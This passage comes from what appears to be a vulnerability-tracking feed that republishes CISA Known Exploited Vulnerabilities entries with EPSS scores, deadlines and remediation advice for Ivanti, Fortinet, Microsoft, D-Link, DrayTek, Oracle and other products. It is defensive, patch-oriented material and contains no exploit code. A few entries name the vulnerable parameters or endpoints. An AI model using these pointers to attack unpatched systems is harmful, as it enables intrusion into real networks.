allow an authenticated attacker with application admin privileges to pass commands to the underlying OS. EPSS 58.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9380&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9380: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9380&date=2026-10-25 CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 9, 2024; federal due date Oct 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Cloud Services Appliance (CSA) SQL Injection Vulnerability https://kevwire.com/record/CVE-2024-9379 Ivanti Cloud Services Appliance (CSA) SQL Injection Vulnerability (Oct 9, 2024). Ivanti Cloud Services Appliance (CSA) contains a SQL injection vulnerability in the admin web console in versions prior to 5.0.2, which can allow a remote attacker authenticated as administrator to run arbitrary SQL statements. EPSS 44.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-9379&date=2026-10-25). Sources: CISA KEV entry CVE-2024-9379: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-9379&date=2026-10-25 CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: As Ivanti CSA 4.6.x has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line, or later, of supported solution. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 9, 2024; federal due date Oct 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet Multiple Products Format String Vulnerability https://kevwire.com/record/CVE-2024-23113 Fortinet Multiple Products Format String Vulnerability (Oct 9, 2024). Fortinet FortiOS, FortiPAM, FortiProxy, and FortiWeb contain a format string vulnerability that allows a remote, unauthenticated attacker to execute arbitrary code or commands via specially crafted requests. EPSS 61.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-23113&date=2026-10-25). Sources: CISA KEV entry CVE-2024-23113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-23113&date=2026-10-25 CISA added this entry on 2024-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 9, 2024; federal due date Oct 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows MSHTML Platform Spoofing Vulnerability https://kevwire.com/record/CVE-2024-43573 Microsoft Windows MSHTML Platform Spoofing Vulnerability (Oct 8, 2024). Microsoft Windows MSHTML Platform contains an unspecified spoofing vulnerability which can lead to a loss of confidentiality. EPSS 46.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43573&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43573: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43573&date=2026-10-25 CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2024; federal due date Oct 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Management Console Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2024-43572 Microsoft Windows Management Console Remote Code Execution Vulnerability (Oct 8, 2024). Microsoft Windows Management Console contains unspecified vulnerability that allows for remote code execution. EPSS 66.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43572&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43572&date=2026-10-25 CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2024; federal due date Oct 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Use-After-Free Vulnerability https://kevwire.com/record/CVE-2024-43047 Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Oct 8, 2024). Multiple Qualcomm chipsets contain a use-after-free vulnerability due to memory corruption in DSP Services while maintaining memory maps of HLOS memory. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43047&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43047: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43047&date=2026-10-25 CISA added this entry on 2024-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 8, 2024; federal due date Oct 29, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Command Execution Vulnerability https://kevwire.com/record/CVE-2024-45519 Synacor Zimbra Collaboration Suite (ZCS) Command Execution Vulnerability (Oct 3, 2024). Synacor Zimbra Collaboration Suite (ZCS) contains an unspecified vulnerability in the postjournal service that may allow an unauthenticated user to execute commands. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-45519&date=2026-10-25). Sources: CISA KEV entry CVE-2024-45519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-45519&date=2026-10-25 CISA added this entry on 2024-10-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 3, 2024; federal due date Oct 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Endpoint Manager (EPM) SQL Injection Vulnerability https://kevwire.com/record/CVE-2024-29824 Ivanti Endpoint Manager (EPM) SQL Injection Vulnerability (Oct 2, 2024). Ivanti Endpoint Manager (EPM) contains a SQL injection vulnerability in Core server that allows an unauthenticated attacker within the same network to execute arbitrary code. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29824&date=2026-10-25). Sources: CISA KEV entry CVE-2024-29824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29824&date=2026-10-25 CISA added this entry on 2024-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2024; federal due date Oct 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP Commerce Cloud Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2019-0344 SAP Commerce Cloud Deserialization of Untrusted Data Vulnerability (Sep 30, 2024). SAP Commerce Cloud (formerly known as Hybris) contains a deserialization of untrusted data vulnerability within the mediaconversion and virtualjdbc extension that allows for code injection. EPSS 7.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0344&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0344: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0344&date=2026-10-25 CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2024; federal due date Oct 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### DrayTek Multiple Vigor Routers OS Command Injection Vulnerability https://kevwire.com/record/CVE-2020-15415 DrayTek Multiple Vigor Routers OS Command Injection Vulnerability (Sep 30, 2024). DrayTek Vigor3900, Vigor2960, and Vigor300B devices contain an OS command injection vulnerability in cgi-bin/mainfunction.cgi/cvmcfgupload that allows for remote code execution via shell metacharacters in a filename when the text/x-python-script content type is used. EPSS 84.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-15415&date=2026-10-25). Sources: CISA KEV entry CVE-2020-15415: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-15415&date=2026-10-25 CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2024; federal due date Oct 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-820 Router OS Command Injection Vulnerability https://kevwire.com/record/CVE-2023-25280 D-Link DIR-820 Router OS Command Injection Vulnerability (Sep 30, 2024). D-Link DIR-820 routers contain an OS command injection vulnerability that allows a remote, unauthenticated attacker to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp. EPSS 97.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-25280&date=2026-10-25). Sources: CISA KEV entry CVE-2023-25280: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-25280&date=2026-10-25 CISA added this entry on 2024-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 30, 2024; federal due date Oct 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Virtual Traffic Manager Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2024-7593 Ivanti Virtual Traffic Manager Authentication Bypass Vulnerability (Sep 24, 2024). Ivanti Virtual Traffic Manager contains an authentication bypass vulnerability that allows a remote, unauthenticated attacker to create a chosen administrator account. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7593&date=2026-10-25). Sources: CISA KEV entry CVE-2024-7593: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7593&date=2026-10-25 CISA added this entry on 2024-09-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 24, 2024; federal due date Oct 15, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-8963 Ivanti Cloud Services Appliance (CSA) Path Traversal Vulnerability (Sep 19, 2024). Ivanti Cloud Services Appliance (CSA) contains a path traversal vulnerability that could allow a remote, unauthenticated attacker to access restricted functionality. If CVE-2024-8963 is used in conjunction with CVE-2024-8190, an attacker could bypass admin authentication and execute arbitrary commands on the appliance. EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8963&date=2026-10-25). Sources: CISA KEV entry CVE-2024-8963: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8963&date=2026-10-25 CISA added this entry on 2024-09-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive security updates. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 19, 2024; federal due date Oct 10, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle WebLogic Server Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2020-14644 Oracle WebLogic Server Remote Code Execution Vulnerability (Sep 18, 2024). Oracle WebLogic Server, a product within the Fusion Middleware suite, contains a deserialization vulnerability. Unauthenticated attackers with network access via T3 or IIOP can exploit this vulnerability to achieve remote code execution. EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14644&date=2026-10-25). Sources: CISA KEV entry CVE-2020-14644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14644&date=2026-10-25 CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle ADF Faces Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2022-21445 Oracle ADF Faces Deserialization of Untrusted Data Vulnerability (Sep 18, 2024). Oracle ADF Faces library, included with Oracle JDeveloper Distribution, contains a deserialization of untrusted data vulnerability leading to unauthenticated remote code execution. EPSS 62.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21445&date=2026-10-25). Sources: CISA KEV entry CVE-2022-21445: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21445&date=2026-10-25 CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2020-0618 Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability (Sep 18, 2024). Microsoft SQL Server Reporting Services contains a deserialization vulnerability when handling page requests incorrectly. An authenticated attacker can exploit this vulnerability to execute code in the context of the Report Server service account. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0618&date=2026-10-25). Sources: CISA KEV entry CVE-2020-0618: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0618&date=2026-10-25 CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apache HugeGraph-Server Improper Access Control Vulnerability https://kevwire.com/record/CVE-2024-27348 Apache HugeGraph-Server Improper Access Control Vulnerability (Sep 18, 2024). Apache HugeGraph-Server contains an improper access control vulnerability that could allow a remote attacker to execute arbitrary code. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-27348&date=2026-10-25). Sources: CISA KEV entry CVE-2024-27348: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-27348&date=2026-10-25 CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 18, 2024; federal due date Oct 9, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Double Free Vulnerablity https://kevwire.com/record/CVE-2014-0502 Adobe Flash Player Double Free Vulnerablity (Sep 17, 2024). Adobe Flash Player contains a double free vulnerability that allows a remote attacker to execute arbitrary code. EPSS 24.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0502&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0502&date=2026-10-25 CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Code Execution Vulnerability https://kevwire.com/record/CVE-2013-0648 Adobe Flash Player Code Execution Vulnerability (Sep 17, 2024). Adobe Flash Player contains an unspecified vulnerability in the ExternalInterface ActionScript functionality that allows a remote attacker to execute arbitrary code via crafted SWF content. EPSS 11.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0648&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0648: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0648&date=2026-10-25 CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Incorrect Default Permissions Vulnerability https://kevwire.com/record/CVE-2013-0643 Adobe Flash Player Incorrect Default Permissions Vulnerability (Sep 17, 2024). Adobe Flash Player contains an incorrect default permissions vulnerability in the Firefox sandbox that allows a remote attacker to execute arbitrary code via crafted SWF content. EPSS 10.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0643&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0643: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0643&date=2026-10-25 CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Integer Underflow Vulnerablity https://kevwire.com/record/CVE-2014-0497 Adobe Flash Player Integer Underflow Vulnerablity (Sep 17, 2024). Adobe Flash Player contains an integer underflow vulnerability that allows a remote attacker to execute arbitrary code. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0497&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0497: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0497&date=2026-10-25 CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 17, 2024; federal due date Oct 8, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Progress WhatsUp Gold SQL Injection Vulnerability https://kevwire.com/record/CVE-2024-6670 Progress WhatsUp Gold SQL Injection Vulnerability (Sep 16, 2024). Progress WhatsUp Gold contains a SQL injection vulnerability that allows an unauthenticated attacker to retrieve the user's encrypted password if the application is configured with only a single user. EPSS 93.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-6670&date=2026-10-25). Sources: CISA KEV entry CVE-2024-6670: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-6670&date=2026-10-25 CISA added this entry on 2024-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 16, 2024; federal due date Oct 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows MSHTML Platform Spoofing Vulnerability https://kevwire.com/record/CVE-2024-43461 Microsoft Windows MSHTML Platform Spoofing Vulnerability (Sep 16, 2024). Microsoft Windows MSHTML Platform contains a user interface (UI) misrepresentation of critical information vulnerability that allows an attacker to spoof a web page. This vulnerability was exploited in conjunction with CVE-2024-38112. EPSS 54.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43461&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43461&date=2026-10-25 CISA added this entry on 2024-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 16, 2024; federal due date Oct 7, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Cloud Services Appliance OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-8190 Ivanti Cloud Services Appliance OS Command Injection Vulnerability (Sep 13, 2024). Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can allow an authenticated attacker with application admin privileges to pass commands to the underlying OS. EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8190&date=2026-10-25). Sources: CISA KEV entry CVE-2024-8190: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8190&date=2026-10-25 CISA added this entry on 2024-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive future security updates. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 13, 2024; federal due date Oct 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Mark of the Web (MOTW) Protection Mechanism Failure Vulnerability https://kevwire.com/record/CVE-2024-38217 Microsoft Windows Mark of the Web (MOTW) Protection Mechanism Failure Vulnerability (Sep 10, 2024). Microsoft Windows Mark of the Web (MOTW) contains a protection mechanism failure vulnerability that allows an attacker to bypass MOTW-based defenses. This can result in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging. EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38217&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38217: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38217&date=2026-10-25 CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 10, 2024; federal due date Oct 1, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Installer Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2024-38014 Microsoft Windows Installer Improper Privilege Management Vulnerability (Sep 10, 2024). Microsoft Windows Installer contains an improper privilege management vulnerability that could allow an attacker to gain SYSTEM privileges. EPSS 6.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38014&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38014: 